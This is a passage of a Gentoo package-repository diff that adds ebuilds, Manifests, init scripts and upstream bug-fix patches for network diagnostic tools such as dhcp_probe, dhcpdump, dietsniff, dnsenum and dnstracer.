+SRC_URI="http://www.net.princeton.edu/software/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE=""
+
+DEPEND="
+ net-libs/libpcap
+ >=net-libs/libnet-1.1.2.1-r2
+ "
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PV}/*.patch
+}
+
+src_configure() {
+ use amd64 && append-flags -D__ARCH__=64
+ STRIP=true econf || die "econf failed"
+}
+
+src_install() {
+ emake install DESTDIR="${D}"
+
+ newinitd "${FILESDIR}/${PN}.initd" ${PN}
+ newconfd "${FILESDIR}/${PN}.confd" ${PN}
+
+ dodoc \
+ extras/dhcp_probe.cf.sample \
+ NEWS \
+ README \
+ ChangeLog \
+ AUTHORS \
+ TODO \
+ || die "dodoc failed"
+}
diff --git a/net-analyzer/dhcp_probe/files/1.3.0/01_dhcp_probe.5.patch b/net-analyzer/dhcp_probe/files/1.3.0/01_dhcp_probe.5.patch
new file mode 100644
index 000000000000..2d5599c06224
--- /dev/null
+++ b/net-analyzer/dhcp_probe/files/1.3.0/01_dhcp_probe.5.patch
@@ -0,0 +1,47 @@
+#! /bin/sh /usr/share/dpatch/dpatch-run
+## 01_dhcp_probe.5.dpatch by Laurent Guignard <lguignard.debian@gmail.com>
+##
+## All lines beginning with `## DP:' are a description of the patch.
+## DP: Change a syntax problem in groff file for hyphenation problem
+## Note:
+## Submitted to upstream programmer Irwin Tillman<irwin@princeton.edu>.
+## This patch will be applied in the next version of the upstream code.
+
+
+@DPATCH@
+diff -urNad trunk~/doc/dhcp_probe.cf.5 trunk/doc/dhcp_probe.cf.5
+--- trunk~/doc/dhcp_probe.cf.5 2009-03-30 14:53:40.000000000 +0200
++++ trunk/doc/dhcp_probe.cf.5 2009-03-30 14:57:05.000000000 +0200
+@@ -472,10 +472,10 @@
+ .PP
+ .RS
+ .nf
+--p the name of the calling program (e.g. dhcp_probe),
+--I the name of the interface on which the unexpected response packet was received
+--i the IP source address of the packet
+--m Ethernet source address of the packet
++\-p the name of the calling program (e.g. dhcp_probe),
++\-I the name of the interface on which the unexpected response packet was received
++\-i the IP source address of the packet
++\-m Ethernet source address of the packet
+ .fi
+ .RE
+ .PP
+@@ -483,7 +483,7 @@
+ .PP
+ .RS
+ .nf
+--y the non-zero yiaddr value from the packet, when it falls inside a "Lease Network of Concern"
++\-y the non-zero yiaddr value from the packet, when it falls inside a "Lease Network of Concern"
+ .fi
+ .RE
+ .PP
+@@ -723,7 +723,7 @@
+ # alert_program_name2 /absolute/path/name
+ #
+ # The program specified via 'alert_program_name2' will be called as follows:
+-# /absolute/path/name -p name_of_calling_program -I name_of_interface_on_which_the_response_was_received -i IP_source_of_the_response -m ether_src_of_the_response [-y yiaddr_when_in_lease_networks_of_concern]
++# /absolute/path/name \-p name_of_calling_program \-I name_of_interface_on_which_the_response_was_received \-i IP_source_of_the_response \-m ether_src_of_the_response [\-y yiaddr_when_in_lease_networks_of_concern]
+ # The options may appear in any order.
+ # The program must silently ignore any options or arguments it does not recognize,
+ # so as to be forward-compatible with future enhancements to dhcp_probe.
diff --git a/net-analyzer/dhcp_probe/files/1.3.0/02_dhcp_probe.8.patch b/net-analyzer/dhcp_probe/files/1.3.0/02_dhcp_probe.8.patch
new file mode 100644
index 000000000000..d9d3d5aa898a
--- /dev/null
+++ b/net-analyzer/dhcp_probe/files/1.3.0/02_dhcp_probe.8.patch
@@ -0,0 +1,35 @@
+#! /bin/sh /usr/share/dpatch/dpatch-run
+## 02_dhcp_probe.8.dpatch by Laurent Guignard <lguignard.debian@gmail.com>
+##
+## All lines beginning with `## DP:' are a description of the patch.
+## DP: Change a syntax problem in groff file for hyphenation problem
+## Note:
+## Submitted to upstream programmer Irwin Tillman<irwin@princeton.edu>.
+## This patch will be applied in the next version of the upstream code.
+
+
+@DPATCH@
+diff -urNad trunk~/doc/dhcp_probe.8 trunk/doc/dhcp_probe.8
+--- trunk~/doc/dhcp_probe.8 2009-03-30 14:53:40.000000000 +0200
++++ trunk/doc/dhcp_probe.8 2009-03-30 15:18:09.000000000 +0200
+@@ -380,15 +380,15 @@
+ file,
+ that program is executed, with the following required options:
+ .nf
+- -p the name of the calling program (e.g. dhcp_probe)
+- -I the name of the interface on which the unexpected response packet was received
+- -i the IP source address of the packet
+- -m and the Ethernet source address of the packet
++ \-p the name of the calling program (e.g. dhcp_probe)
++ \-I the name of the interface on which the unexpected response packet was received
++ \-i the IP source address of the packet
++ \-m and the Ethernet source address of the packet
+ .fi
+ If the response packet's yiaddr is non-zero and falls within a "Lease Networks of Concern",
+ the following optional options are also passed:
+ .nf
+- -y the non-zero yiaddr value
++ \-y the non-zero yiaddr value
+ .fi
+ (We do not wait for the
+ .I alert_program_name2
diff --git a/net-analyzer/dhcp_probe/files/1.3.0/03_implicit_point_conv_bootp.c.patch b/net-analyzer/dhcp_probe/files/1.3.0/03_implicit_point_conv_bootp.c.patch
new file mode 100644
index 000000000000..41af750416bf
--- /dev/null
+++ b/net-analyzer/dhcp_probe/files/1.3.0/03_implicit_point_conv_bootp.c.patch
@@ -0,0 +1,21 @@
+#! /bin/sh /usr/share/dpatch/dpatch-run
+## 03_implicit_point_conv_bootp.c.dpatch by Laurent Guignard <lguignard.debian@gmail.com>
+##
+## All lines beginning with `## DP:' are a description of the patch.
+## DP: Fix implicit Pointer Converstion in bootp.c file.
+## Fix bug #529635 discovered by Dann Frazier <dannf@debian.org>
+##
+
+@DPATCH@
+diff -urNad trunk~/src/bootp.c trunk/src/bootp.c
+--- trunk~/src/bootp.c 2009-03-31 14:19:06.000000000 +0200
++++ trunk/src/bootp.c 2009-05-21 09:51:26.000000000 +0200
+@@ -11,7 +11,7 @@
+ #include "bootp.h"
+ #include "configfile.h"
+ #include "report.h"
+-
++#include "utils.h"
+
+
+
diff --git a/net-analyzer/dhcp_probe/files/1.3.0/04_linux_32_or_64bits.patch b/net-analyzer/dhcp_probe/files/1.3.0/04_linux_32_or_64bits.patch
new file mode 100644
index 000000000000..dcd79ffc58b2
--- /dev/null
+++ b/net-analyzer/dhcp_probe/files/1.3.0/04_linux_32_or_64bits.patch
@@ -0,0 +1,33 @@
+#! /bin/sh /usr/share/dpatch/dpatch-run
+## 04_linux_32_or_64bits.dpatch by Laurent Guignard <lguignard.debian@gmail.com>
+##
+## All lines beginning with `## DP:' are a description of the patch.
+## DP: A solution to solve the bug #535361
+## May be this will be a solution with the right method ???
+
+@DPATCH@
+diff -urNad trunk~/src/get_myipaddr.c trunk/src/get_myipaddr.c
+--- trunk~/src/get_myipaddr.c 2009-09-03 13:10:32.000000000 +0200
++++ trunk/src/get_myipaddr.c 2009-09-03 13:15:39.671451172 +0200
+@@ -118,7 +118,21 @@
+ #endif /* not STRUCT_SOCKADDR_HAS_SA_LEN */
+
+ /* increment ptr to next interface for next time through the loop */
++#ifdef __ARCH__ /* Debian GNU/Linux behavior for packaging goal */
++ switch(__ARCH__) {
++ case 32: /* 32 bits architectures */
++ ptr += sizeof(ifr->ifr_name) + len;
++ break;
++ case 64: /* 64 bits architectures */
++ ptr += sizeof(struct ifreq);
++ break;
++ default: /* Default dhcp_probe behavior */
++ ptr += sizeof(ifr->ifr_name) + len;
++ break;
++ }
++#else /* Default dhcp_probe behavior */
+ ptr += sizeof(ifr->ifr_name) + len;
++#endif
+
+ if (strcmp(ifname, ifr->ifr_name) != 0 ) /* is this the interface we're looking for? */
+ continue;
diff --git a/net-analyzer/dhcp_probe/files/1.3.0/05-cleanup.patch b/net-analyzer/dhcp_probe/files/1.3.0/05-cleanup.patch
new file mode 100644
index 000000000000..4151b461bbfd
--- /dev/null
+++ b/net-analyzer/dhcp_probe/files/1.3.0/05-cleanup.patch
@@ -0,0 +1,29 @@
+--- dhcp_probe-1.3.0/src/dhcp_probe.c.orig 2009-03-09 21:17:47.000000000 +0100
++++ dhcp_probe-1.3.0/src/dhcp_probe.c 2009-11-19 18:09:26.000000000 +0100
+@@ -84,7 +84,6 @@
+ struct sigaction sa;
+ FILE *pid_fp;
+ char *cwd = CWD;
+- int i;
+
+ int write_packet_len;
+ int bytes_written;
+@@ -98,9 +97,6 @@
+ int linktype;
+ char pcap_errbuf[PCAP_ERRBUF_SIZE], pcap_errbuf2[PCAP_ERRBUF_SIZE];
+
+- /* for libnet */
+- char libnet_errbuf[LIBNET_ERRBUF_SIZE];
+-
+ /* get progname = last component of argv[0] */
+ prog = strrchr(argv[0], '/');
+ if (prog)
+@@ -987,8 +983,6 @@
+ Must not be called until after initial configuration is complete.
+ */
+
+- int i;
+-
+ if (! read_configfile(config_file)) {
+ my_exit(1, 1, 1);
+ }
diff --git a/net-analyzer/dhcp_probe/files/1.3.0/06-return.patch b/net-analyzer/dhcp_probe/files/1.3.0/06-return.patch
new file mode 100644
index 000000000000..c27ad646e6c9
--- /dev/null
+++ b/net-analyzer/dhcp_probe/files/1.3.0/06-return.patch
@@ -0,0 +1,11 @@
+--- dhcp_probe-1.3.0/src/dhcp_probe.c.orig 2009-11-19 18:13:31.000000000 +0100
++++ dhcp_probe-1.3.0/src/dhcp_probe.c 2009-11-19 18:13:59.000000000 +0100
+@@ -684,6 +684,8 @@
+ pcap_close(pd_template);
+
+ my_exit(0, 1, 1);
++
++ return 0; /* will not be reached */
+ }
+
+
diff --git a/net-analyzer/dhcp_probe/files/1.3.0/07-comment.patch b/net-analyzer/dhcp_probe/files/1.3.0/07-comment.patch
new file mode 100644
index 000000000000..c8184144a597
--- /dev/null
+++ b/net-analyzer/dhcp_probe/files/1.3.0/07-comment.patch
@@ -0,0 +1,11 @@
+--- dhcp_probe-1.3.0/src/configfile.c.orig 2009-03-09 21:17:47.000000000 +0100
++++ dhcp_probe-1.3.0/src/configfile.c 2009-11-19 18:17:03.000000000 +0100
+@@ -55,7 +55,7 @@
+
+ /* parallel arrays of "lease networks of concern" (address & mask), and number of elems in arrays.
+ We also precompute a parallel array of 'addr & mask' to save computing these repeatedly later.
+-/* If a response already identified as being from a rogue DHCP server contains a yiaddr field field
++ If a response already identified as being from a rogue DHCP server contains a yiaddr field field
+ that falls into one of these networks, it is reported as a matter of special concern.
+ */
+ struct in_addr lease_networks_of_concern_addr[MAX_LEASE_NETWORKS_OF_CONCERN];
diff --git a/net-analyzer/dhcp_probe/files/1.3.0/08-man8.patch b/net-analyzer/dhcp_probe/files/1.3.0/08-man8.patch
new file mode 100644
index 000000000000..56f8686eaebd
--- /dev/null
+++ b/net-analyzer/dhcp_probe/files/1.3.0/08-man8.patch
@@ -0,0 +1,20 @@
+--- dhcp_probe-1.3.0/doc/dhcp_probe.8.orig 2009-11-19 18:27:47.000000000 +0100
++++ dhcp_probe-1.3.0/doc/dhcp_probe.8 2009-11-19 18:28:50.000000000 +0100
+@@ -141,7 +141,7 @@
+ libraries.
+ .SH OPTIONS
+ .TP
+-.IB \-c \ config_file
++.BI \-c \ config_file
+ Specifies the configuration file.
+ If not specified, this defaults to
+ .BR /etc/dhcp_probe.cf .
+@@ -253,7 +253,7 @@
+ .B \-v
+ Display the program's version number, then exit.
+ .TP
+-.IB \-w \ cwd
++.BI \-w \ cwd
+ Specifies the working directory; shortly after starting the
+ program changes its current working directory to this.
+ If not specified, this defaults to
diff --git a/net-analyzer/dhcp_probe/files/dhcp_probe.confd b/net-analyzer/dhcp_probe/files/dhcp_probe.confd
new file mode 100644
index 000000000000..59d405ff3c24
--- /dev/null
+++ b/net-analyzer/dhcp_probe/files/dhcp_probe.confd
@@ -0,0 +1,10 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+# Config file for /etc/init.d/dhcp_probe
+
+# For more information, see dhcp_probe(8).
+
+DHCP_PROBE_OPTIONS="-d 1"
+
diff --git a/net-analyzer/dhcp_probe/files/dhcp_probe.initd b/net-analyzer/dhcp_probe/files/dhcp_probe.initd
new file mode 100644
index 000000000000..4e1c9e7ca66b
--- /dev/null
+++ b/net-analyzer/dhcp_probe/files/dhcp_probe.initd
@@ -0,0 +1,48 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+extra_commands="reload"
+
+DHCP_PROBE_BINARY="/usr/sbin/dhcp_probe"
+DHCP_PROBE_CONFIG="/etc/dhcp_probe.cf"
+DHCP_PROBE_PIDFILE="/var/run/${SVCNAME}.pid"
+DHCP_PROBE_INTERFACE="${SVCNAME#*.}"
+
+depend() {
+ use logger
+ need net
+}
+
+checkconfig() {
+ if [ ! -e ${DHCP_PROBE_CONFIG} ]; then
+ eerror "You need an ${DHCP_PROBE_CONFIG} to run dhcp_probe."
+ eerror "A sample file is available in /usr/share/doc/dhcp_probe*"
+ return 1
+ elif [ ${SVCNAME} = dhcp_probe ]; then
+ eerror "Do not run this script directly! Instead, create symbolic links like so:"
+ eerror " # cd /etc/init.d"
+ eerror " # ln -s dhcp_probe dhcp_probe.[INTERFACE_NAME]"
+ eerror "for each interface that should be monitored"
+ return 1
+ fi
+}
+
+start() {
+ checkconfig
+ ebegin "Starting ${SVCNAME}"
+ ${DHCP_PROBE_BINARY} ${DHCP_PROBE_OPTIONS} -p ${DHCP_PROBE_PIDFILE} ${DHCP_PROBE_INTERFACE}
+ eend ${?}
+}
+
+stop() {
+ if [ "${RC_CMD}" = "restart" ] ; then
+ checkconfig || return 1
+ fi
+ ebegin "Stopping ${SVCNAME}"
+ start-stop-daemon --stop --signal 9 \
+ --pidfile ${DHCP_PROBE_PIDFILE}
+ eend ${?}
+}
+
diff --git a/net-analyzer/dhcp_probe/files/dhcp_probe_mail b/net-analyzer/dhcp_probe/files/dhcp_probe_mail
new file mode 100644
index 000000000000..58b07766bbb3
--- /dev/null
+++ b/net-analyzer/dhcp_probe/files/dhcp_probe_mail
@@ -0,0 +1,23 @@
+#!/bin/bash
+# Old style alert program:
+#
+# Syntax:
+# alert_program_name /absolute/path/name
+#
+# The program specified via 'alert_program_name' will be called as follows:
+# /absolute/path/name name_of_calling_program name_of_interface_on_which_the
+#_response_was_received IP_source_of_the_response ether_src_of_the_response
+
+DHCP_PROBE_DOMAIN=$(dnsdomainname)
+
+sendmail root <<EOF
+From: root@${DHCP_PROBE_DOMAIN}
+Subject: $1 ALERT - $3 is acting as a DHCP server
+
+Called program: $0
+Calling program: $1
+Interface on which response was received: $2
+IP source of the response: $3
+Ethernet source of the response: $4
+
+EOF
diff --git a/net-analyzer/dhcp_probe/metadata.xml b/net-analyzer/dhcp_probe/metadata.xml
new file mode 100644
index 000000000000..bfc69c95fdfb
--- /dev/null
+++ b/net-analyzer/dhcp_probe/metadata.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <maintainer>
+ <email>jer@gentoo.org</email>
+ <name>Jeroen Roovers</name>
+ </maintainer>
+ <longdescription>
+ dchp_probe attempts to discover DHCP and BootP servers on a
+ directly-attached Ethernet network
+ </longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/dhcpdump/Manifest b/net-analyzer/dhcpdump/Manifest
new file mode 100644
index 000000000000..613f1eb11ba0
--- /dev/null
+++ b/net-analyzer/dhcpdump/Manifest
@@ -0,0 +1 @@
+DIST dhcpdump-1.8.tar.gz 10740 SHA256 6d5eb9418162fb738bc56e4c1682ce7f7392dd96e568cc996e44c28de7f77190 SHA512 52cd63d581a3c530c2f5baa66808d5b0241853651c720bd513b769b8301b4dff9c87243787014aea98a5b3ebed86ec317b58d262bf5031015141a4da50fb76e6 WHIRLPOOL 4741d6242a16c45beb84c5d5e29d0245954703d40a688cc35af41c42bfc09d8977f01a7e1c96879004ab7b230097457d251ed1c2bb6b15c506cf5fe913e75ccf
diff --git a/net-analyzer/dhcpdump/dhcpdump-1.8.ebuild b/net-analyzer/dhcpdump/dhcpdump-1.8.ebuild
new file mode 100644
index 000000000000..300ea0d09bad
--- /dev/null
+++ b/net-analyzer/dhcpdump/dhcpdump-1.8.ebuild
@@ -0,0 +1,36 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="DHCP Packet Analyzer/tcpdump postprocessor"
+HOMEPAGE="http://www.mavetju.org/unix/general.php"
+SRC_URI="http://www.mavetju.org/download/${P}.tar.gz"
+
+LICENSE="BSD-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64 ~mips"
+
+RDEPEND="net-libs/libpcap"
+DEPEND="
+ ${RDEPEND}
+ dev-lang/perl
+"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-Makefile.patch
+ epatch "${FILESDIR}"/${P}-debian.patch
+ epatch "${FILESDIR}"/${P}-endianness.patch
+}
+
+src_compile() {
+ emake CC=$(tc-getCC)
+}
+
+src_install () {
+ dobin ${PN}
+ doman ${PN}.8
+ dodoc CHANGES CONTACT
+}
diff --git a/net-analyzer/dhcpdump/files/dhcpdump-1.8-Makefile.patch b/net-analyzer/dhcpdump/files/dhcpdump-1.8-Makefile.patch
new file mode 100644
index 000000000000..690f60779b87
--- /dev/null
+++ b/net-analyzer/dhcpdump/files/dhcpdump-1.8-Makefile.patch
@@ -0,0 +1,22 @@
+--- a/Makefile
++++ b/Makefile
+@@ -1,6 +1,6 @@
+-CFLAGS= -Wall -g
+-LDFLAGS= -g
+-LIBS= -lpcap
++#CFLAGS = -Wall -g
++#LDFLAGS = -g
++LIBS = -lpcap
+
+ all: dhcpdump dhcpdump.8
+
+@@ -15,7 +15,7 @@
+ dhcpdump.pod dhcpdump.8
+
+ dhcpdump: dhcpdump.o
+- ${CC} ${LDFLAGS} -o $@ dhcpdump.o ${LIBS}
++ $(CC) -DHAVE_STRSEP $(LDFLAGS) -o $@ dhcpdump.o $(LIBS)
+
+ dhcpdump.o: dhcpdump.c dhcp_options.h Makefile
+- ${CC} ${CFLAGS} -c -o $@ dhcpdump.c
++ $(CC) -DHAVE_STRSEP $(CFLAGS) -c -o $@ dhcpdump.c
diff --git a/net-analyzer/dhcpdump/files/dhcpdump-1.8-debian.patch b/net-analyzer/dhcpdump/files/dhcpdump-1.8-debian.patch
new file mode 100644
index 000000000000..7c5304bb0bca
--- /dev/null
+++ b/net-analyzer/dhcpdump/files/dhcpdump-1.8-debian.patch
@@ -0,0 +1,103 @@
+--- a/dhcpdump.c
++++ b/dhcpdump.c
+@@ -16,11 +16,13 @@
+ #include <netinet/in.h>
+ #include <netinet/ip.h>
+ #include <netinet/udp.h>
++#include <netinet/ether.h>
+ #include <arpa/inet.h>
+ #include <stdio.h>
+ #include <stdlib.h>
+ #include <string.h>
+ #include <ctype.h>
++#include <time.h>
+ #include <pcap.h>
+ #include <err.h>
+ #include <regex.h>
+@@ -38,11 +40,11 @@
+ #define LARGESTRING 1024
+
+ // header variables
+-u_char timestamp[40]; // timestamp on header
+-u_char mac_origin[40]; // mac address of origin
+-u_char mac_destination[40]; // mac address of destination
+-u_char ip_origin[40]; // ip address of origin
+-u_char ip_destination[40]; // ip address of destination
++char timestamp[40]; // timestamp on header
++char mac_origin[40]; // mac address of origin
++char mac_destination[40]; // mac address of destination
++char ip_origin[40]; // ip address of origin
++char ip_destination[40]; // ip address of destination
+ int max_data_len; // maximum size of a packet
+
+ int tcpdump_style = -1;
+@@ -160,13 +162,21 @@
+ strcpy(mac_destination,
+ ether_ntoa((struct ether_addr *)eh->ether_dhost));
+
+- strcpy(ip_origin, (u_char *)inet_ntoa(ip->ip_src));
+- strcpy(ip_destination, (u_char *)inet_ntoa(ip->ip_dst));
++ strcpy(ip_origin, (char *)inet_ntoa(ip->ip_src));
++ strcpy(ip_destination, (char *)inet_ntoa(ip->ip_dst));
+
++#ifdef __linux__
++ if (hmask && check_ch((u_char *)(sp + offset), ntohs(udp->len)))
++ return;
++
++ printdata((u_char *)(sp + offset), ntohs(udp->len));
++#else
+ if (hmask && check_ch((u_char *)(sp + offset), ntohs(udp->uh_ulen)))
+ return;
+
+ printdata((u_char *)(sp + offset), ntohs(udp->uh_ulen));
++#endif
++
+ }
+
+ // check for matching CHADDR (Peter Apian-Bennewitz <apian@ise.fhg.de>)
+@@ -301,7 +311,7 @@
+ // print the header and the options.
+ int printdata(u_char *data, int data_len) {
+ int j, i;
+- u_char buf[LARGESTRING];
++ char buf[LARGESTRING];
+
+ if (data_len == 0)
+ return 0;
+@@ -364,7 +374,7 @@
+ case 60: // Domain name
+ case 86: // NDS Tree name
+ case 87: // NDS context
+- strncpy(buf, &data[j + 2], data[j + 1]);
++ strncpy(buf, (char *)&data[j + 2], data[j + 1]);
+ buf[data[j + 1]] = 0;
+ printf("%s", buf);
+ break;
+@@ -510,7 +520,7 @@
+ printf("-");
+ print8bits(data + j + 4);
+ printf(" ");
+- strncpy(buf, &data[j + 5], data[j + 1] - 3);
++ strncpy(buf, (char *)&data[j + 5], data[j + 1] - 3);
+ buf[data[j + 1] - 3]=0;
+ printf("%s", buf);
+ break;
+@@ -518,6 +528,9 @@
+ case 82: // Relay Agent Information
+ printf("\n");
+ for (i = j + 2; i < j + data[j + 1]; ) {
++ if (i != j+2) {
++ printf("\n");
++ }
+ printf("%-17s %-13s ", " ",
+ data[i] > sizeof(relayagent_suboptions) ?
+ "*wrong value*" :
+@@ -527,7 +540,7 @@
+ break;
+ }
+ printHexColon(data + i + 2, data[i + 1]);
+- i += data[i + 1];
++ i += data[i + 1] + 2;
+ }
+ break;
+
diff --git a/net-analyzer/dhcpdump/files/dhcpdump-1.8-endianness.patch b/net-analyzer/dhcpdump/files/dhcpdump-1.8-endianness.patch
new file mode 100644
index 000000000000..2a6f7822c2b3
--- /dev/null
+++ b/net-analyzer/dhcpdump/files/dhcpdump-1.8-endianness.patch
@@ -0,0 +1,12 @@
+--- a/dhcpdump.c
++++ b/dhcpdump.c
+@@ -130,7 +130,7 @@
+ offset += ETHER_HDR_LEN;
+
+ // Check for IPv4 packets
+- if (eh->ether_type != 8) {
++ if (eh->ether_type != htons(0x0800)) {
+ printf("Ignored non IPv4 packet: %d\n", eh->ether_type);
+ return;
+ }
+
diff --git a/net-analyzer/dhcpdump/metadata.xml b/net-analyzer/dhcpdump/metadata.xml
new file mode 100644
index 000000000000..6eaa764e301a
--- /dev/null
+++ b/net-analyzer/dhcpdump/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>
+This command parses the output of tcpdump to display the
+dhcp-packets for easier checking and debugging.
+</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/dietsniff/Manifest b/net-analyzer/dietsniff/Manifest
new file mode 100644
index 000000000000..07f72d8fac9d
--- /dev/null
+++ b/net-analyzer/dietsniff/Manifest
@@ -0,0 +1 @@
+DIST dietsniff-0.4.tar.gz 14375 SHA256 e8c38570b7c51080fcc8b274ffd1a423dca42793a4d304fd2ead96cde327c798
diff --git a/net-analyzer/dietsniff/dietsniff-0.4.ebuild b/net-analyzer/dietsniff/dietsniff-0.4.ebuild
new file mode 100644
index 000000000000..7609f701f5b6
--- /dev/null
+++ b/net-analyzer/dietsniff/dietsniff-0.4.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit toolchain-funcs vcs-snapshot
+
+DESCRIPTION="small and static packet sniffer based on dietlibc and libowfat"
+HOMEPAGE="https://github.com/hynek/dietsniff"
+SRC_URI="https://github.com/hynek/dietsniff/tarball/a80c0e64b3 -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND=""
+DEPEND="dev-libs/libowfat
+ dev-libs/dietlibc"
+
+src_prepare() {
+ sed -e '/^prefix=/s:=.*:=/usr:' \
+ -e '/^MAN1DIR=/s:man/man1:share/man/man1:' \
+ -e '/^CC/s:=:?=:' \
+ -e '/^CFLAGS/s:=:+=:' \
+ -e '/^LDFLAGS/s:=-s:+=:' \
+ -e '/^dietsniff/,+3s: -o : $(LDFLAGS) -o :' \
+ -e '/^dietsniff/,+3s:strip:#strip:' \
+ -i Makefile
+ export CC="diet -Os $(tc-getCC)"
+}
+
+src_install() {
+ default
+
+ dodoc AUTHORS ChangeLog README
+}
diff --git a/net-analyzer/dietsniff/metadata.xml b/net-analyzer/dietsniff/metadata.xml
new file mode 100644
index 000000000000..c428b128c927
--- /dev/null
+++ b/net-analyzer/dietsniff/metadata.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>xmw@gentoo.org</email>
+ <name>Michael Weber</name>
+ </maintainer>
+ <upstream>
+ <bugs-to>https://github.com/hynek/dietsniff/issues</bugs-to>
+ <maintainer status="active">
+ <email>hs@ox.cx</email>
+ <name>Hynek Schlawack</name>
+ </maintainer>
+ <remote-id type="github">hynek/dietsniff</remote-id>
+ </upstream>
+ <longdescription>
+dietsniff is a network-debugging tool like tcpdump or ethereal. The
+difference to those powerful tools however is that dietsniff is linked
+against Felix von Leitner's dietlibc and doesn't require libpcap.
+Therefore it's really small while being static. dietsniff's most
+useful scenario is probably to sniff the packets into a pcap-logfile which
+can be later viewed using more user friendly applications.
+</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/dnsenum/Manifest b/net-analyzer/dnsenum/Manifest
new file mode 100644
index 000000000000..649213b3a189
--- /dev/null
+++ b/net-analyzer/dnsenum/Manifest
@@ -0,0 +1 @@
+DIST dnsenum-1.2.2.tar.gz 902708 SHA256 74485238f0cb143e003c8f1d4b30dfe32cef508bdaaa228f063ead48312be56d SHA512 3915be8e3ddf1102520594fcb1a41506401c662175455414226165e473844fa94f8577e68395586bfbf7e97b7c5a29e20e1ad63bb40a214c53e141afe66eddd6 WHIRLPOOL e85ed0a0e20686cd5dfcd91447f7a5e91cecdb1b1c91b37c2c5a85f789e85399de219fb04da9712508bbe7ee52c8f2f6e15219686f0473fc1830416df3324901
diff --git a/net-analyzer/dnsenum/dnsenum-1.2.2.ebuild b/net-analyzer/dnsenum/dnsenum-1.2.2.ebuild
new file mode 100644
index 000000000000..c2fa18de8b93
--- /dev/null
+++ b/net-analyzer/dnsenum/dnsenum-1.2.2.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+DESCRIPTION="A perl script to enumerate DNS from a server"
+HOMEPAGE="http://code.google.com/p/dnsenum/"
+SRC_URI="http://dnsenum.googlecode.com/files/${P}.tar.gz"
+
+LICENSE="GPL-2+"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="dev-perl/Net-DNS
+ dev-perl/Net-IP
+ dev-perl/Net-Netmask
+ dev-perl/Net-Whois-IP
+ dev-perl/HTML-Parser
+ dev-perl/WWW-Mechanize
+ dev-perl/XML-Writer"
+
+S="${WORKDIR}"
+
+src_prepare() {
+ sed -i 's|dnsenum.pl|dnsenum|g' dnsenum.pl || die
+}
+
+src_install () {
+ dodoc *.txt
+ newbin ${PN}.pl ${PN}
+}
diff --git a/net-analyzer/dnsenum/metadata.xml b/net-analyzer/dnsenum/metadata.xml
new file mode 100644
index 000000000000..5fcbf8e1851a
--- /dev/null
+++ b/net-analyzer/dnsenum/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+<email>zerochaos@gentoo.org</email>
+<name>Rick Farina</name>
+</maintainer>
+<longdescription lang="en">
+</longdescription>
+</pkgmetadata>
+
diff --git a/net-analyzer/dnstracer/Manifest b/net-analyzer/dnstracer/Manifest
new file mode 100644
index 000000000000..9965be9d6781
--- /dev/null
+++ b/net-analyzer/dnstracer/Manifest
@@ -0,0 +1 @@
+DIST dnstracer-1.9.tar.gz 130884 SHA256 2ebc08af9693ba2d9fa0628416f2d8319ca1627e41d64553875d605b352afe9c SHA512 e69fe772062ff315ff3148c26df78bd41c75d11dcfa6431f1e9374e6069182bd80826b22dc116011d975838d9527913d46edd78de049edd25e3ac9247d5f3473 WHIRLPOOL 4654c6a2ecacd8529097b114b8d0b3300800c85a241239a8fae54d4e46048e54617bb6109280b1ad0f2126cc7528c29292bbadae4a9332d5fcb6aaf4aded993e
diff --git a/net-analyzer/dnstracer/dnstracer-1.9-r1.ebuild b/net-analyzer/dnstracer/dnstracer-1.9-r1.ebuild
new file mode 100644
index 000000000000..348614afb3cc
--- /dev/null
+++ b/net-analyzer/dnstracer/dnstracer-1.9-r1.ebuild
@@ -0,0 +1,20 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="Determines where a given nameserver gets its information from"
+HOMEPAGE="http://www.mavetju.org/unix/general.php"
+SRC_URI="http://www.mavetju.org/download/${P}.tar.gz"
+
+LICENSE="BSD-2"
+SLOT="0"
+KEYWORDS="amd64 arm hppa ia64 ~ppc ppc64 s390 sparc x86 ~amd64-linux"
+IUSE="ipv6"
+
+DOCS=( CHANGES README )
+
+src_configure() {
